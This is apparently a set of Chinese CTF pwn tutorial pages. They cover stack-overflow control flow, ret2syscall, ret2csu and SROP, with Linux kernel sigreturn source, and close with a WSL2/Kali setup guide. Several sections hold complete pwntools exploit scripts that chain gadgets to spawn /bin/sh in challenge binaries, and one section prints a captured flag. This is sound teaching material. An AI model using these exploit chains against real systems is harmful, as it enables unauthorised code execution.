对应的栈帧变化如下(添加底色的汇编指令为即将执行的指令,call read为GIF的开始)

由上图可以看出,只要我们适当地控制输入的值就可以实现修改返回地址,从而实现控制程序的程序流。

字符串栈溢出劫持执行流

为了快速构造合适的输入值,实现对程序流的控制,这里引入里一个基于python的工具pwntools

python
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

target_address = elf.sym["func"]

payload = b"A" * 0x28
payload += p64(target_address)

p.send(payload)

p.interactive()

上面这个脚本中:

p为进程对象(可以将process换成remote(address, port)使其变成远程连接的对象)

elf为可执行程序对象,elf.sym["func"]为获取可执行程序中符号func的地址

p64为将数字根据端序转为64位的字节流。

p.send(payload)为将payload发送到对应的进程或者远程连接。

p.interactive()为保持交互,将输入方从脚本改为用户。

注意 python3版本的pwntools的payload的字符串之前需要加上b前缀

下图即为脚本的运行结果。


Hc Pwn Rop Add V1 (`docs/hc-pwn/rop_add_v1.md`)

ROP 技巧补坑

本节作者:EROORvbsyes

前言

前面我们讲了不少 ret2xxx 系列,但是把 ret2syscall 漏掉了。
这篇就先把这个坑补上,顺手把 ret2csu 和 SROP 也带一下。

另外这次的 blog 是我用手机写的,所以图会比较少,基本可以当成纯文字笔记看。

说明:本文默认讨论 x86_64 Linux 场景。
如果是 32 位程序、其他架构,或者题目开了额外限制,那么系统调用号、寄存器约定和 gadget 写法都要重新确认。

ret2syscall

基本原理

程序和内核交互要靠系统调用,可以粗略理解成:

c
SYSCALL(syscall_id, arg1, arg2, ...);

系统调用本质上是内核暴露给用户态程序的接口。像文件读写、网络通信、进程控制这类操作,最后都要落到系统调用上。

不同架构发起系统调用的方式不同:

  • 32 位 Linux 常见是 int 0x80
  • 64 位 Linux 常见是 syscall

在 x86_64 Linux 下,常见的系统调用约定是:

  • rax:系统调用号
  • rdi、rsi、rdx、r10、r8、r9:前 6 个参数
  • 返回值放回 rax

这里要区分清楚“函数调用约定”和“系统调用约定”。
例如普通的 System V AMD64 调用约定里第 4 个参数常走 rcx,但 syscall 这里通常要放到 r10。

系统调用进入内核态后,可能很快返回,也可能发生阻塞。
它的额外开销主要来自用户态和内核态之间的切换,而不是“所有系统调用都一定特别慢”。

一个简单的 `read` 例子

read 本身就是系统调用,libc 里的 read 只是对它的一层封装。
为了方便说明,这里直接假设缓冲区地址已经准备好了:

asm
mov rdi, 0      ; fd = 0, stdin
mov rsi, buf    ; buf
mov rdx, 64     ; count
mov rax, 0      ; __NR_read
syscall

这段代码等价于:

c
read(0, buf, 64);

如果系统调用失败,错误通常会体现在 rax 返回负值,而不是“程序自动停住”。

在 ROP 里怎么用

ret2syscall 的核心思路是:当我们拿不到 libc 地址,或者题目本来就是想考系统调用时,直接布置好寄存器,然后执行 syscall gadget。

在 x86_64 Linux 下,如果我们想执行:

c
execve("/bin/sh", NULL, NULL);

那么需要满足:

  • rax = 59
  • rdi = "/bin/sh" 的地址
  • rsi = 0
  • rdx = 0

对应的 ROP 链可以写成:

plain
pop rdi ; ret
bin_sh_addr
xor rsi, rsi ; ret
xor rdx, rdx ; ret
pop rax ; ret
59
syscall ; ret

如果没有 xor rsi, rsi ; ret 或 xor rdx, rdx ; ret 这类 gadget,也可以改成 pop rsi ; ret、pop rdx ; ret 再传 0。

这样做的好处是:

  • 不依赖 system 或 execve 的 libc 地址
  • 很适合没有 libc 泄露、但有足够 syscall/gadget 的题
  • 常见用途包括拿 shell、做 ORW(open / read / write)等

ret2syscall 并不等于“一定不会出错”。
你仍然要确认:

  • 架构和系统调用号是否匹配
  • gadget 是否真的以 ret 结束
  • 指针是否可访问
  • 当前链条是否满足栈和寄存器约束

调试时要注意什么

最容易混淆的点,不是“内核版本差一点就完全不能用”,而是下面这些:

  • 架构不同:32 位和 64 位的系统调用号、寄存器约定都不同
  • ABI 不同:别把普通函数调用约定和 syscall 约定混在一起
  • 返回值判错:系统调用失败时,通常是 rax 返回错误码,而不是直接崩溃
  • 安全机制限制:有些题会开 seccomp,这时不是链子写错,而是系统调用本身被过滤了

总结补充

当题目是x86_32的时候就不能用syscall了,此时要用int 0x80来进行系统调用,但还是使用eax传递调用号,edi,esi,edx等寄存器分别传递参数。
若开启 seccomp,需先用 seccomp-tools dump 查看允许的系统调用,必要时改用 open/read/write 组合(ORW)。

具体题目

分析

这个题目给出了源文件,我们直接看:

c
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
#include<string.h>
char binsh[]="/bin/sh";
int you_can_not_exec(){
    asm volatile (
        "pop rdi;"
        "ret;"
        "pop rax;"
        "ret;"
        "pop rsi;"
        "ret;"
        "pop rdx;"
        "ret;"
        "syscall;"
    );
    return 0;
}
int vuln(){
    char vul[0x80];
    memset(vul,0,0x80);
    read(0,vul,0x100);
    puts(vul);
    return 0;
}
int main(){
    vuln();
    return 0;
}
bash
(PLANA)--> pwn checksec ./ret2syscall 
[*] '/home/kali/ctfwiki/ret2syscall/ret2syscall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

可以看到没有PIE

我们提取一下gadget:

asm
0x000000000040114c : pop rax ; ret
0x000000000040112d : pop rbp ; ret
0x000000000040114a : pop rdi ; ret
0x0000000000401150 : pop rdx ; ret
0x000000000040114e : pop rsi ; ret
0x0000000000401152 : syscall

这个题目比较简单,我们考虑这样构造payload:

STACK
rbp_space
pop rdi(原rip_space)
bin_sh_address
pop rdx
0
pop rsi
0
pop rax
59
syscall

这样就相当于执行了SYS_execve("/bin/sh",0,0);这句代码可以在6.x内核版本中正常运行,5.12.13不可用,其他版本内核笔者还暂未考证,请读者自证。

exp

python
#!/bin/python3
from pwn import *
p=process("./ret2syscall")
pop_rdi=0x000000000040114a
pop_rax=0x000000000040114c
pop_rdx=0x0000000000401150
pop_rsi=0x000000000040114e
syscall=0x0000000000401152
payload=b""
payload+=b"\x00"*0x80
payload+=p64(0)
payload+=p64(pop_rdi)
payload+=p64(binsh)#binsh地址需要自己提取
payload+=p64(pop_rsi)
payload+=p64(0)
payload+=p64(pop_rdx)
payload+=p64(0)
payload+=p64(pop_rax)
payload+=p64(59)
payload+=p64(syscall)
p.send(payload)
p.interactive()

ret2csu

ret2csu 一般是利用 __libc_csu_init 里的 gadget,来完成参数控制和一次间接调用。
它常见于没有现成 pop rdx ; ret、pop rsi ; ret 等 gadget 的场景。

先提醒一句:ret2csu 的可用性和具体形态取决于实际二进制。
新工具链下,经典 gadget 可能变少,甚至根本没有,所以一定要以 你手上的反汇编结果 为准。

下面这个例子里,我们主要关注两段:

asm
0000000000401240 <__libc_csu_init>:
  ...
  401280:       mov    rdx, r15    // 标号1
  401283:       mov    rsi, r14
  401286:       mov    edi, r13d
  401289:       call   qword ptr [rbx+r12*8]
  40128d:       add    r12, 0x1
  401291:       cmp    rbp, r12
  401294:       jne    401280 <__libc_csu_init+0x40>
  401296:       add    rsp, 0x8
  40129a:       pop    rbx         // 标号2
  40129b:       pop    rbp
  40129c:       pop    r12
  40129e:       pop    r13
  4012a0:       pop    r14
  4012a2:       pop    r15
  4012a4:       ret

这一版 gadget 的寄存器关系

如果先执行“标号 2”,再跳到“标号 1”,那么这份反汇编里常见的控制关系是:

  • rbx = 函数指针所在的内存地址
  • rbp = 1
  • r12 = 0
  • r13 = edi
  • r14 = rsi
  • r15 = rdx

原因是这里真正执行的是:

asm
call qword ptr [rbx + r12*8]

所以如果想只调用一次,通常让:

  • r12 = 0
  • rbp = 1

这样 add r12, 1 之后就能满足退出条件,不会继续循环。

注意:

  • 这里调用的是“内存里的函数指针”,不是把函数地址直接塞给 rbx
  • mov edi, r13d 只会保留低 32 位,所以第一个参数如果是 64 位指针,往往还得额外找 pop rdi ; ret
  • 不同二进制里也常见 call [r12 + rbx*8] 这种变体,寄存器含义会跟着交换,别照抄模板

一个更稳妥的 payload 例子

原文里那个 payload = flat(...) 会把前面已经拼进去的内容覆盖掉,而且少了循环退出后要吃掉的栈槽。
更稳妥的写法可以像这样:

python
def build_ret2csu(func_ptr_addr, edi, rsi, rdx, next_rip):
    payload  = p64(CSU_POP_GADGET)   # 标号2
    payload += flat(
        func_ptr_addr,  # rbx
        1,              # rbp
        0,              # r12
        edi,            # r13 -> edi
        rsi,            # r14 -> rsi
        rdx,            # r15 -> rdx
    )
    payload += p64(CSU_CALL_GADGET)  # 标号1

    # 经过 call / add / cmp 之后,函数还会继续执行:
    # add rsp, 0x8; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
    payload += flat(
        0,  # add rsp, 0x8 吃掉的占位
        0, 0, 0, 0, 0, 0,
        next_rip,
    )
    return payload

这个版本的重点不是“万能模板”,而是提醒你两件事:

  • 要按 实际 pop 顺序 摆参数
  • 要把 gadget 后续会额外消耗的栈空间一起算进去

题目

这里可以看一下第 18 届极客大挑战的 oldrop,考的是 csu 的变种,挺适合练手。题目

这个题目就比较经典,将传统的csu变化了一下,此时就需要选手有随机应变的能力,就是直接将特殊的csu拎出来,单独利用即可。exp中有csu的部分代码,可以参考一下

因为篇幅问题,这里请大家自主思考
exp:

text
/* Detailed source-code truncated for AI context efficiency. */

SROP

可以先参考这个视频:
CTF 基础教程 ---- Pwn 第四课 SROP - 哔哩哔哩

本章将会从内核角度开始从底层逐渐剖析SROP的基本原理,需要读者具备C语言的阅读能力。如果您暂时对C语言不熟悉,可以直接看总结。

SROP(Sigreturn-Oriented Programming) 是一种精巧的漏洞利用技术,它利用 Unix/Linux 系统中的信号处理机制和 sigreturn 系统调用,能够以极少的 gadget 控制大量寄存器(并不代表占用空间少),甚至实现任意代码执行。

signal 机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。

内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

那么,对应的在Linux中存在这么一个系统调用:rt_sigreturn 。接下来我们仔细分析一下它的代码。

rt_sigreturn 详细剖析

该机制在Linux内核中被实现为rt_sigreturn,我们来阅读一下他的代码:(我们这里讨论64位,代码基于Linux-5.12.13内核)

c
SYSCALL_DEFINE0(rt_sigreturn)
{
 struct pt_regs *regs = current_pt_regs(); //取程序当前的寄存器列表
 struct rt_sigframe __user *frame;
 sigset_t set;
 unsigned long uc_flags;

 frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long)); //基于程序rsp计算frame
 if (!access_ok(frame, sizeof(*frame))) //检查frame合法性
  goto badframe;
 if (__get_user(*(__u64 *)&set, (__u64 __user *)&frame->uc.uc_sigmask)) //拷贝uc.uc_sigmask
  goto badframe;
 if (__get_user(uc_flags, &frame->uc.uc_flags)) //拷贝uc.uc_flags
  goto badframe;

 set_current_blocked(&set);

 if (restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags)) //拷贝寄存器
  goto badframe;

 if (restore_altstack(&frame->uc.uc_stack))
  goto badframe;

 return regs->ax; //返回rax寄存器的值,这样再调用后,rax依旧不会改变

badframe:
 signal_fault(regs, frame, "rt_sigreturn");
 return 0;
}

我们不难发现,只有当restore_sigcontext返回0值才能正常走return,否则进程就会被rt_sigreturn终止。

那么接下来我们就需要观察restore_sigcontext函数了。

c
static int restore_sigcontext(struct pt_regs *regs,
         struct sigcontext __user *usc,
         unsigned long uc_flags)
{
 struct sigcontext sc;

 /* Always make any pending restarted system calls return -EINTR */
 current->restart_block.fn = do_no_restart_syscall;

 if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE)) //从用户空间安全拷贝
  return -EFAULT;
 regs->bx = sc.bx;
 regs->cx = sc.cx;
 regs->dx = sc.dx;
 regs->si = sc.si;
 regs->di = sc.di;
 regs->bp = sc.bp;
 regs->ax = sc.ax;
 regs->sp = sc.sp;
 regs->ip = sc.ip; //改写指令计数寄存器
 regs->r8 = sc.r8;
 regs->r9 = sc.r9;
 regs->r10 = sc.r10;
 regs->r11 = sc.r11;
 regs->r12 = sc.r12;
 regs->r13 = sc.r13;
 regs->r14 = sc.r14;
 regs->r15 = sc.r15;
 /* Get CS/SS and force CPL3 */
 regs->cs = sc.cs | 0x03;
 regs->ss = sc.ss | 0x03;
 regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
 /* disable syscall checks */
 regs->orig_ax = -1;
 /*
  * Fix up SS if needed for the benefit of old DOSEMU and
  * CRIU.
  */
 if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
  force_valid_ss(regs);
 return fpu__restore_sig((void __user *)sc.fpstate,
          IS_ENABLED(CONFIG_X86_32));
}

我们发现改写寄存器的主要操作就在这一步完成的,其中regs结构体保存在内核里面,sc则是在用户栈上,从用户栈上恢复寄存器到程序regs结构体,在最后函数退出时就会将regs中的值赋给寄存器了。

先来看看pt_regs的定义:

c
struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
 unsigned long r15;
 unsigned long r14;
 unsigned long r13;
 unsigned long r12;
 unsigned long bp;
 unsigned long bx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
 unsigned long r11;
 unsigned long r10;
 unsigned long r9;
 unsigned long r8;
 unsigned long ax;
 unsigned long cx;
 unsigned long dx;
 unsigned long si;
 unsigned long di;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
 unsigned long orig_ax;
/* Return frame for iretq */
 unsigned long ip;
 unsigned long cs;
 unsigned long flags;
 unsigned long sp;
 unsigned long ss;
/* top of stack page */
};

再看看 sigcontext 结构体,这个尤为重要,是SROP的核心结构体

c
struct rt_sigframe {
 char __user *pretcode;
 struct ucontext uc;
 struct siginfo info;
 /* fp state follows here */
};

struct ucontext {
 unsigned long   uc_flags;
 struct ucontext  *uc_link;
 stack_t    uc_stack;
 struct sigcontext uc_mcontext;
 sigset_t   uc_sigmask; /* mask last for extensibility */
};

typedef struct sigaltstack {
 void __user *ss_sp;
 int ss_flags;
 size_t ss_size;
} stack_t;

struct sigcontext {
 __u64    r8;
 __u64    r9;
 __u64    r10;
 __u64    r11;
 __u64    r12;
 __u64    r13;
 __u64    r14;
 __u64    r15;
 __u64    rdi;
 __u64    rsi;
 __u64    rbp;
 __u64    rbx;
 __u64    rdx;
 __u64    rax;
 __u64    rcx;
 __u64    rsp;
 __u64    rip;
 __u64    eflags;  /* RFLAGS */
 __u16    cs;
 __u16    gs;
 __u16    fs;
 union {
  __u16   ss; /* If UC_SIGCONTEXT_SS */
  __u16   __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
 };
 __u64    err;
 __u64    trapno;
 __u64    oldmask;
 __u64    cr2;
 struct _fpstate __user  *fpstate; /* Zero when no FPU context */
 __u64    reserved1[8];
};

那么实际上,整个我们要布置的payload应该是rt_sigframe展开后:

c
struct rt_sigframe{
 char __user *pretcode;
 unsigned long   uc_flags;    
 struct ucontext  *uc_link;
 void __user *ss_sp;
 int ss_flags;
 size_t ss_size;
 __u64    r8;
 __u64    r9;
 __u64    r10;
 __u64    r11;
 __u64    r12;
 __u64    r13;
 __u64    r14;
 __u64    r15;
 __u64    rdi;
 __u64    rsi;
 __u64    rbp;
 __u64    rbx;
 __u64    rdx;
 __u64    rax;
 __u64    rcx;
 __u64    rsp;
 __u64    rip;
 __u64    eflags;  /* RFLAGS */
 __u16    cs;
 __u16    gs;
 __u16    fs;
 union {
  __u16   ss; /* If UC_SIGCONTEXT_SS */
  __u16   __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
 };
 __u64    err;
 __u64    trapno;
 __u64    oldmask;
 __u64    cr2;
 struct _fpstate __user  *fpstate; /* Zero when no FPU context */
 __u64    reserved1[8];
 sigset_t   uc_sigmask; /* mask last for extensibility */
 struct siginfo info; //直接忽略,基本不影响程序运行
 
}

这张图算很老了,但是很经典:

我们跟踪restore_sigcontext的frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));这一行。可以发现这一行代码基于用户栈指针rsp获得了frame。后面该函数又会基于该frame给寄存器赋值。

我们看到这里也就知道了SROP是比较耗栈上空间的。一个 Signal Frame 在 x64 下通常占用约 0x100~0x200 字节(连续),栈溢出时要确保有足够空间。

那么我们在下面贴出测试代码,验证我们之前分析的准确性

c
#include "kernelpwn.h"
typedef struct stack_t {
 void *ss_sp;
 int ss_flags;
 size_t ss_size;
} ;

typedef struct sigset_t{
 unsigned long sig[1];
} ;

struct ucontext {
 unsigned long   uc_flags;
 struct ucontext  *uc_link;
 stack_t    uc_stack;
 struct sigcontext uc_mcontext;
 sigset_t   uc_sigmask; /* mask last for extensibility */
};

struct rt_sigframe {
 char *pretcode;
 struct ucontext uc;
};

int ok(){
    puts("it's works!");
}
struct rt_sigframe *rt;
int main(){
    struct rt_sigframe rt_sigreturn;
    memset(&rt_sigreturn,0,sizeof(struct rt_sigframe));
    struct ucontext *uc = &rt_sigreturn.uc;
    struct sigcontext *regs = &uc->uc_mcontext;
    rt=&rt_sigreturn;
    regs->rip=(__u64)&ok;
    regs->rsp=(__u64)rt;
    regs->rbp=(__u64)rt;
    regs->cs=(__u16)0x33;
    regs->__pad0=(__u16)0x2b;
    ASM(
        "mov rsp,rt;"
        "add rsp,8;" //适配 frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));
        "mov rax,0xf;"
        "syscall;"
    );
    _exit(0);
}

因为在用户空间api没有定义rt_sigframe等结构体,所以我们这里直接在C里面实现其结构体。另外为了确保CPU不会在syscall返回时候因为ss和cs错误的值抛出#GP(一般保护异常)或 #SS(栈段异常)最终被转换成SIGSEGV信号导致程序被杀死,我们要将cs设置为0x33,将ss设置为0x2b
注意:这里的cs和ss的值仅是在大多数平台是这样设置的,具体环境需要读者自己使用gdb调试得到

tips:使用 gdb 调试时通过 info registers cs ss 获取cs和ss当前值。建议在 SROP 中统一使用 SigreturnFrame 而不是手动构造,因为 pwntools 会自动填充正确的 cs/ss

注意:在C标准库中当引入sys/wait.h等其他头文件时会自动包含bits/sigcontext.h这个头文件,此时就不要自己实现sigcontext这个结构体了。但还是推荐直接引入这个头文件,但是引入后,要注意ss寄存器在x64情况下结构体成员名叫做__pad0

这里作者使用的是自己的头文件其中ASM宏被实现为#define ASM asm volatile使用指令gcc -static -o test test.c -masm=intel完成编译。

运行结果:

bash
┌──(kali㉿kali)──<Just CTF For Pwn>──[~/hello-ctf/srop]
└─(PLANA)--> ./test                                 
it's works!
zsh: segmentation fault  ./test

可以看到成功输出了it's works!。但这里之所以爆出了段错误,是因为我们没有给ok函数布置返回地址,导致ret的时候地址无效,抛出了段错误

plain
0x401dd7 <ok+4>     lea    rax, [rip + 0x8f567]     RAX => 0x491345 ◂— "it's works!"
   0x401dde <ok+11>    mov    rdi, rax                 RDI => 0x491345 ◂— "it's works!"
   0x401de1 <ok+14>    call   puts                        <puts>
 
   0x401de6 <ok+19>    nop    
   0x401de7 <ok+20>    pop    rbp     RBP => 0x7fffffffdb20
 ► 0x401de8 <ok+21>    ret                                <0>
    ↓

验证证明了我们的分析是没有错误的。

SROP基本原理总结

最后我们知道了,如果需要进行SROP攻击,需要我们在栈上布置rt_sigframe结构体。并且要注意栈空间的大小并且对齐栈指针,最后将rax设置为15,并调用syscall。
注意:因为SROP极度依赖rt_sigreturn系统调用,所以当程序开启沙盒后可能无法使用。因为sigreturn 系统调用本身也可能被 seccomp 过滤(rt_sigreturn 号为 15),若被禁止则 SROP 无效。而且SROP需要一个超长的连续空间用于结构体布置,若栈空间不足请考虑其他解法。

另外:

SROP 的精髓在于利用内核“盲目信任” Signal Frame 的特性,以一次系统调用换取对所有寄存器的控制。它特别适合以下场景:

  • 程序没有足够的 pop rdi; ret、pop rsi; ret 等 gadget;
  • 程序自身含有 syscall 指令,且能控制 rax;
  • 栈上可以布置连续的大块数据。

SROP题目示例

我们首先先给出题目

先用

shell
file ./srop

看题目的架构

可以看见题目是一个64位的可执行程序。
现在就可以开始想64位程序如何传参了

再使用

shell
pwn checksec --file=./srop

来查看程序保护开启情况

可以发现程序主要开启了NX保护,我们这时只能考虑使用ROP链来构造payload。
不能使用shellcode

再使用IDA Pro逆向程序(没有IDA的可以使用r2)

发现程序main函数非常简单,只有几行汇编代码
其中我们发现了syscall系统调用,它会造成一个系统中断,程序会将控制权交给系统内核
然后进入内核态,内核会为其保存寄存器状态(称为Signal Frame),然后内核会执行注册过
的signal handler,执行后再退出内核态,控制权还回,但是Signal Frame是保存在栈上的,所以用户可以
控制这些信息,这样就导致了SROP,寄存器就会被用户控制。

其中main函数调用了系统调用号为0的系统调用(mov rax,0 //系统调用号通过rax寄存器传递)
下面附上Linux 64位系统调用表(部分,详情可见https://blog.csdn.net/SUKI547/article/details/103315487)
read:读取文件内容,系统调用号通常是0。
write:写入文件内容,系统调用号通常是1。
open:打开文件,系统调用号通常是2。
close:关闭文件描述符,系统调用号通常是3。
execve:执行一个命令,系统调用号通常是59
exit:终止进程,系统调用号通常是60。

那么0即是调用SYS_read,它允许我们输入0x400的数据,但是buf大小只有16(0x10)大小,很明显,
这是有栈溢出的,而且没有canary保护,栈溢出变得更简单了。

继续分析程序
发现有一个叫做gift的可疑函数:

其逻辑也是非常简单,它就传回了一个返回值15,众所周知,函数返回时是给rax赋值,那么这个函数就可以看
作是mov rax,15;ret;这个gadget。那么有什么用呢,相信大家都想到了系统调用,正好15对应的就是sigreturn的调用号
sigreturn会根据栈空间给寄存器赋值,以恢复进程调用前的状态,那么我们就可以利用sigreturn来
篡改寄存器。

那么如何获得shell呢?
不难想到,我们可以利用SYS_execve("/bin/sh",0x0,0x0);来获取shell
那么我们就需要调用调用号为59的系统调用,并给rdi赋值为/bin/sh的地址,给rsi赋值为0x0,给rdx赋值为0x0
查找程序的字符串,并未找到类似/bin/sh或sh的字符串

那我们就需要再次调用SYS_read函数来写入/bin/sh到bss段,刚好也可以布置我们的execve的Signal frame

现在思路已经清晰了,开始上手吧!

第一步

先写好基本格式

python
from pwn import *
p=process("./srop")
# p=remote("challenge-1ee3de1a2f7456fc.sandbox.ctfhub.com",26839)
elf=ELF("./srop")
bss_start=elf.bss()+0x100
print("bss_start : "+hex(bss_start))#方便确认bss段中的数据
gift=elf.symbols['gift']
context.clear()
context.arch="amd64"
syscall_addr=0x401179

因为是64位程序,所以其rbp的大小为0x8
则padding可以写成:

python
payload=b"\x00"*24

下面我们使用pwntools中的SigreturnFrame()来构造虚假的Signal Frame
为什么这样构造可参见第二步

python
frame=SigreturnFrame()
frame.rax=constants.SYS_read
frame.rdi=0x0
frame.rsi=bss_start
frame.rdx=0x300
frame.rbp=bss_start
frame.rip=syscall_addr

这里的Signal Frame实现了再次调用SYS_read来读入第二次的Signal Frame
为了能调用Sigreturn我们必须先控制rip指向gift函数,再指向syscall
则

python
payload+=p64(gift)
payload+=p64(syscall_addr)
payload+=bytes(frame)

但是经过测试,发现爆出了EOF错误,怎么回事呢,我们使用gdb看看

发现程序虽然跳进了gift但是未能执行syscall,而且当gift结束时rip指向了我们
padding的rbp,那我们就修改我们的payload:

python
payload=b"\x00"*16
payload+=p64(0x401179)
payload+=p64(gift)
payload+=bytes(frame)

再次测试,发现没有错误产生。
这样就可以正常输入了。

第一步完成

第二步

现在我们把栈迁移到bss段上,因为在我们在二次伪造系统调用后栈结构
已经损坏,无法继续使用,而且没有syscall;ret,我们就需要在bss段
上伪造一个栈,栈(bss_start)的起始地址是bss()+0x100(bss_start)这是
因为bss段在程序中只映射了一页(0x1000)而且,在bss段低地址处可能还存储着一些
重要数据,我们不能破坏他们。
这就是为什么我们要把/bin/sh写在bss段上的原因,在第一步的frame中,
我们让read函数读入了0x300的数据,这已经足够伪造一个栈了。
为了迁移栈,我们就把frame.rbp设置为了bss_start了。

那么现在我们就已经将栈迁移到了bss_start上了。
接下来构造执行execve的frame

python
frame1=SigreturnFrame()
frame1.rax=constants.SYS_execve
frame1.rdi=bss_start+0x200
frame1.rsi=0x0
frame1.rdx=0x0
frame1.rip=syscall_addr

那么/bin/sh就写在frame1的后面

python
payload2=p64(0x401179)
payload2+=p64(0x401136)
payload2+=bytes(frame1)
payload2+=b"\x00"*(0x200-len(payload2))
payload2+=b'/bin/sh\x00'

第二步完成

第三步(EXP)

我们现在把以上的payload串联起来就可以了
解题代码:

python
from pwn import *
p=process("/root/Desktop/ctf/pwn/srop")
# p=remote("challenge-1ee3de1a2f7456fc.sandbox.ctfhub.com",26839)
elf=ELF("/root/Desktop/ctf/pwn/srop")
bss_start=elf.bss()+0x100
print("bss_start : "+hex(bss_start))
gift=elf.symbols['gift']
context.clear()
context.arch="amd64"

frame=SigreturnFrame()
frame.rax=constants.SYS_read
frame.rdi=0x0
frame.rsi=bss_start
frame.rdx=0x300
frame.rbp=bss_start
frame.rip=0x401179

payload=b"\x00"*16
payload+=p64(0x401179)
payload+=p64(gift)
payload+=bytes(frame)
# gdb.attach(p)

payload2=p64(0x401179)
payload2+=p64(0x401136)
frame1=SigreturnFrame()
frame1.rax=constants.SYS_execve
frame1.rdi=bss_start+0x200
frame1.rsi=0x0
frame1.rdx=0x0
frame1.rip=0x401179
payload2+=bytes(frame1)
payload2+=b"\x00"*(0x200-len(payload2))
payload2+=b'/bin/sh\x00'
p.sendline(payload)
input("按任意键继续......")
p.sendline(payload2)
p.interactive()

运行代码输入

shell
cat flag

即可获得flag


FLAG

flag为动态

plain
ctfhub{9ba7a54276e65220476a78c3}

Hc Pwn Wsl2 Environment (`docs/hc-pwn/wsl2_environment.md`)

WSL2 Environment

基础环境

虚拟机配置 Linux 环境

可以选择现在比较流行的Linux发行版
例如 Ubuntu,Arch 等等,下面我使用kali我用的环境的发行版

虚拟机环境也很多种 例如 VirtualBox,Docker
下面主要用WSL 2我用的环境为主

WSL 2(安装麻烦,但是用起来简单)

Windows 10 以上且有系统要求且对访问微软商店(Microsoft Store)有需求

  • Windows10 版本要求
    Windows 10 2020 年 5 月(2004) 版, Windows 10 2019 年 5 月(1903) 版,或者 Windows 10 2019 年 11 月(1909) 版
  • Windows11 无要求

前置

安装Windows Terminal
相信我 不会有人喜欢顶着蓝窗和黑窗看的 投入 Windows Terminal 的怀抱吧

以管理员权限启动`PowerShell`

附:如果你也觉得天天觉得管理权限烦看看这个文章
可以按 Win+X

  • 启用 WSL

    shell
    dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
  • 启用虚拟机平台(Hyper-V)

    text
    Windows 10(2004): dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
    Windows 10(1903,1909): Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -NoRestart
  • 设置 wsl 2 为默认值

    shell
    wsl --set-default-version 2

安装喜欢的 Linux 发行版

WSL 2 提供以下发行版(运行wsl -l -o就能看到)

这里选择 Kali 包括下文全部在 kali 环境上安装
wsl install --install kali-linux
如果网络不好可以试试加上--web-download参数
安装好配置密码就行了

apt 等包管理器的配置

如果你能够珂学上网那么可以试试使用以下.bashrc/.zshrc参数

bashrc
# network proxy
host_ip=$(cat /etc/resolv.conf |grep "nameserver" |cut -f 2 -d " ")
export ALL_PROXY="http://$host_ip:proxy_port"
export HTTP_PROXY="http://$host_ip:proxy_port"
export HTTPS_PROXY="http://$host_ip:proxy_port"
export http_proxy="http://$host_ip:proxy_port"
export https_proxy="http://$host_ip:proxy_port"

其中proxy_port记得改为你代理工具的开放的port
如果不行请给 apt 等包管理器换为国内源
参见:Ubuntu 22.04 换国内源
最后输入

text
sudo apt update
sudo apt upgrade

wsl 基础环境基本配置完成
想要进入 wsl 只需要win+r wsl 或者进入终端在终端输入 wsl 运行

安装`kali-linux-large` 和 `kali-win-kex`

shell
sudo apt install kali-linux-large
sudo apt install kali-win-kex

kali-linux-large 是 kali 完整包 很大 不建议在晚上断网时下载
kali-kex 是 GUI 连接

附.

  • 存储压缩
shell
wsl --shutdown
diskpart
select vdisk file="%UserProfile%\AppData\Local\Packages\KaliLinux.54290C8133FEE_ey8k8hqnwqnmg\LocalState\ext4.vhdx"
attach vdisk readonly
compact vdisk
detach vdisk
  • 设置内存大小
    修改 windows 系统 %UserProfile%目录下.wslconfig
text
memory=4GB
swap=0
  • 备份&还原
shell
备份:
wsl --export -d kali-linux [备份存储路径]
还原:
wsl --unregister kali-linux
wsl --import kali-linux [还原位置] [备份文件路径]

一些 tools

可以通过百度等搜索引擎来查找他们的安装教程

[anaconda](https://www.anaconda.com/download#Downloads)

建议装上防止需要切换 python 版本或者有包冲突时用

[pwndbg](https://github.com/pwndbg/pwndbg)

pwn 手必备 装了附带checksec和ROPgadget

msfvenom

shellcode 转码 kali 自带
有兴趣可以学下 msf 全家桶

[AE64](https://github.com/veritas501/ae64)

shellcode 转码

[LibcSearcher](https://github.com/lieanu/LibcSearcher)

觉得不好用可以 clone 下来自己更新libc-database

[glibc-all-in-one](https://github.com/matrix1001/glibc-all-in-one)

libc 不兼容时使用 为了找一个兼容能跑起来的 libc

参考链接:
如何在 Windows 10 上安装 WSL 2
搭建 WSL2 下的 Kali 环境

ps:再给一份我自己的template:

python
from pwn import *
from LibcSearcher import *
context(
    terminal=["wt.exe", "wsl"],
    os = "linux",
    arch ='amd64',
    #arch = "i386",
